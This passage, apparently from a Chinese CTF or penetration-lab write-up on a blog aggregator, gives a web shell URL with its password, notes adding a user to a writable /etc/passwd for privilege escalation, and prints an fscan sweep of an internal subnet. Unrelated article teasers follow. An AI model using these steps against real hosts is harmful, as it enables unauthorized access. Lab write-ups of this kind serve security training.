flag8

http://202.0.6.236/server/php/files/xiaomao.php 密码 1

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag9

/etc/passwd ​ 可读可写的

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 写个用户和密码进去

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

172.25.0.100

[root@jquery sss]# ./fscan -h 172.25.0.100/24

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
(icmp) Target 172.25.0.7      is alive
(icmp) Target 172.25.0.2      is alive
(icmp) Target 172.25.0.100    is alive
(icmp) Target 172.25.0.254    is alive
[*] Icmp alive hosts len is: 4
172.25.0.100:8080 open
172.25.0.100:445 open
172.25.0.100:139 open
172.25.0.100:80 open
172.25.0.2:80 open
172.25.0.7:80 open
172.25.0.100:22 open
172.25.0.2:22 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.25.0.100       code:200 len:750    title:Index of /
[*] WebTitle http://172.25.0.2         code:200 len:747    title:None
[*] NetBios 172.25.0.100    STORAGE\STORAGE                     Windows 6.1
[*] OsInfo 172.25.0.100 (Windows 6.1)
[*] WebTitle http://172.25.0.100:8080  code:200 len:256    title:None
[*] WebTitle http://172.25.0.7         code:200 len:93114  title:一个好网站

flag12

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag14

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1701343.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Lora理解

Parameter-Efficient Fine-Tuning (PEFT) &#xff1a;节约开销的做法&#xff0c;fine-tune少量参数&#xff0c;而不是整个模型&#xff1b; Low-Rank Adaptation (LoRA) &#xff1a;是PEFT的一种&#xff1b;冻结原参数矩阵&#xff0c;只更新2个小参数矩阵。

面了字节大模型算法岗,太难了。。。

节前&#xff0c;我们组织了一场算法岗技术&面试讨论会&#xff0c;邀请了一些互联网大厂朋友、今年参加社招和校招面试的同学。 针对大模型技术趋势、大模型落地项目经验分享、新手如何入门算法岗、该如何准备面试攻略、面试常考点等热门话题进行了深入的讨论。 汇总合集…

音视频开发9 FFmpeg 解复用框架--如何将一个影音文件(mp4文件/wav文件) 最终播放起来

一&#xff0c;播放器框架 二 常用音视频术语 容器&#xff0f;文件&#xff08;Conainer/File&#xff09;&#xff1a; 即特定格式的多媒体文件&#xff0c; 比如mp4、flv、mkv等。 媒体流&#xff08;Stream&#xff09;&#xff1a; 表示时间轴上的一段连续数据&#xff0…

基于maxkey接入jeecgboot并实现账户同步

1. 注册应用 1.1 在统一认证中心注册第三方应用 1.1.1 填写应用名和登录地址 1.1.2 填写认证地址授权方式和作用域 1.1.3 选择权限范围并提交 1.2 配置访问权限 1.2.1 指定用户组 1.1.2 选择注册的应用 1.1.3 在单点登录认证页面查看添加的应用 1.3 同步一个第三方应用的账号…

sqlserver的查询(三)

目录 10. group by(分组) 11. having(对分组后的信息过滤) 可能从这里开始&#xff0c;执行顺序越来越显得重要了&#xff01;&#xff01;&#xff01; 10. group by(分组) 这个查询相比前面会有一些困难&#xff1b; 格式&#xff1a;group by 字段的集合&#xff1b; 功…

.NET调用阿里云人脸识别1:1简易流程保姆级教学

需要注意的是&#xff0c;以下内容仅限基础调用 人脸比对1:1 功能说明 该功能是两张照片对比&#xff0c;比对两张照片是不是同一个人&#xff0c;至于应用到什么场景&#xff0c;可以参考阿里云的官方文档&#xff0c;我这边以大学生项目来说的话&#xff0c;比如员工打卡&a…

实现销售与客流双增长!看看社区零售“排队王”如何成为顶流?

5月18日至5月26日&#xff0c;北京华联BHGMall燃情推出了一年一度的2024 Need&#xff08;你的&#xff09;BHGDay&#xff0c;接棒“五一”热潮&#xff0c;献礼“520”&#xff0c;通过韩式俯拍机、人生四宫格拍摄大赛、真合拍星派对、超级品牌日等丰富多彩的线上线下活动&am…

react实现动态增减表单项

在做项目的时候&#xff0c;甲方给的信息有限&#xff0c;网页的备案信息写成固定的&#xff0c;如下图所示 之后验收的时候&#xff0c;甲方要求把这个备案信息写成动态的&#xff0c;可以自增减&#xff0c;就去react组件库看看有没有具体的实现&#xff0c;果真有&#xff…

STM32_HAL__TIM_输出比较

概述 STM32的输出比较功能通常是指在微控制器的PWM&#xff08;脉冲宽度调制&#xff09;生成能力中的一个方面。STM32微控制器拥有一个或多个定时器/计数器&#xff0c;这些定时器/计数器可以用来生成PWM信号。PWM信号是一种重要的控制信号&#xff0c;广泛应用于电机控制、亮…

1分钟快速掌握JSON格式

文章目录 先说理论代码举例对象型数组型总结 先说理论 下面是JSON的几种简单数据类型: 数据类型描述数字型JavaScript中的双进度浮点类型&#xff0c;通常根据具体情况定义&#xff0c;这里是没有特殊的整形的。字符串型带双引号的Unicode&#xff0c;带反斜杠转义布尔型true…

探索python循环逻辑的魅力:从无限到有限

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、引言&#xff1a;循环逻辑的初步认识 二、无限循环&#xff1a;持续运转的引擎 三、有…

等保服务是一次性服务吗?为什么?怎么理解?

我国等保政策已经严格落地执行&#xff0c;但还有不少企业对于等保服务不是很了解。例如有人问&#xff0c;等保服务是一次性服务吗&#xff1f;为什么&#xff1f;怎么理解&#xff1f;今天我们就来简单回答一下&#xff0c;仅供参考哈&#xff01; 等保服务是一次性服务吗&…

前端Vue自定义顶部搜索框:实现热门搜索与历史搜索功能

前端Vue自定义顶部搜索框&#xff1a;实现热门搜索与历史搜索功能 摘要&#xff1a; 随着前端开发复杂性的增加&#xff0c;组件化开发成为了提高效率和降低维护成本的有效手段。本文介绍了一个基于Vue的前端自定义顶部搜索框组件&#xff0c;该组件不仅具备基本的搜索功能&am…

PLC无线通讯模块在触摸屏与台达PLC之间的应用教程

本方案可以作为信捷触摸屏与台达PLC之间在台达专用协议下将有线通讯改为无线通讯的应用实例。此方案中信捷TG765触摸屏作为主站&#xff0c;台达DVP-32EH PLC作为从站&#xff0c;采用西安达泰电子日系PLC无线通讯终端——DTD435MA-V384&#xff0c;作为实现无线通讯的硬件设备…

十分钟精通MinIO:minio的原理、部署、操作

一、认识MinIO Minio是一个简单易用的云存储服务&#xff0c;就像是一个放在网络上的大文件柜。想象一下&#xff0c;你有一间放满了各种文件的房间&#xff0c;有时候你需要把这些文件分享给朋友或者在不同地方访问它们。Minio就是帮你做到这一点的工具&#xff0c;它让你可以…

力扣:236.二叉树的最近公共祖先(C++)

文章目录 1. 题目描述2. 题目解析2.1 思路一2.1 思路二 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 题目来源: 力扣…二叉树的最近公共祖先 1. 题目描述 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点 p、q&#xff0c;最近公共祖先表…

JUC框架(Semaphore、CountDownLatch、CyclicBarrier)

文章目录 Semaphore(信号量)Semaphore介绍Semaphore基本概念Semaphore使用场景Semaphore示例 CountDownLatch &#xff08;计数器/闭锁&#xff09;CountDownLatch 介绍CountDownLatch 基本概念CountDownLatch 使用场景CountDownLatch 基本方法CountDownLatch 示例 CyclicBarri…

新能源锂电池行业创业的财富方案,锂电池回收高阶课

课程下载&#xff1a;https://download.csdn.net/download/m0_66047725/89292234 更多资源下载&#xff1a;关注我。 实战攻略 12年锂电池回收行业经验与坑全收录 课程内容&#xff1a; 001-课程介绍.mp4 002-锂电池的全种类认识.mp4 003-废品锂电池到级片粉末价值估算,mp…

Go微服务: Grpc服务注册在Consul的示例(非Go-Micro)

概述 现在&#xff0c;我们使用consul客户端的api来把GRPC服务实现注册到consul上&#xff0c;非Go-Micro的形式其实&#xff0c;consul官方提供了对应的接口调用来实现&#xff0c;golang中的consul/api包对其进行了封装我们使用consul/api来进行展示 目录结构 gitee.com/g…

纯CSS丝滑边框线条动画

在这个网站&#xff08;minimal-portfolio-swart.vercel.app&#xff09;发现一个不错的交互效果&#xff0c;用户体验效果很不错。如封面图所示&#xff0c;这个卡片上有一根白色的线条围绕着卡片移动&#xff0c;且在线条的卡片内部跟随这一块模糊阴影&#xff0c;特别是在线…